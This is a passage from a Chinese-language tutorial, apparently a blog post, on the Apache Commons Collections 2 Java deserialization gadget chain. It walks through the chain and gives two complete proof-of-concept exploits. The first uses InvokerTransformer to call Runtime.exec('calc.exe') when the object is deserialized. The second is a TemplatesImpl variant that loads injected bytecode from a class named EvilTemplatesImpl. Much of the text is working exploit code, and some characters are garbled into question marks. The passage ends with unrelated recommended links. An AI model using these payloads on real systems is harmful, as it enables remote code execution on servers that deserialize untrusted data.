再创建?个TransformingComparator
,传?我们的Transformer
Comparator comparator = new TransformingComparator(chain)
实例化PriorityQueue
对象,第?个参数是初始化时的??,?少需要2个元素才会触发排序和?较,所以是2;第?个参数是?较时的Comparator
,传?前?实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);
后?随便添加了2个数字进去,这?可以传??null的任意对象,因为我们的Transformer是忽略传?参数的 。最后,将真正的恶意Transformer设置上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Objectvalue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(chain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}}
文章插图
CC2改进前边说过了利?
TemplatesImpl
可以构造出?Transformer数组
的利?链,可以将CC2这条链也进行改造 。public class CommonsCollections2TemplatesImpl {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);setFieldValue(transformer, "iMethodName", "newTransformer");ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
推荐阅读
- 原神夜鸦谁是那个怠惰之人怎么完成
- 不思议迷宫玛尔斯之殿DP隐藏彩蛋攻略大全
- 金铲铲之战驯龙传送法阵容怎么搭配
- .NET应用开发之SQLServer常见问题分析
- C#11之原始字符串
- 1 Java反应式编程
- 手记系列之三 ----- 关于使用Nginx的一些使用方法和经验
- 不思议迷宫玛尔斯之殿有哪些彩蛋
- 健康喂养之狗粮怎么喂,吃什么狗粮好(谷物狗粮和无谷物狗粮)
- 终篇 支持JDK19虚拟线程的web框架,之五:兴风作浪的ThreadLocal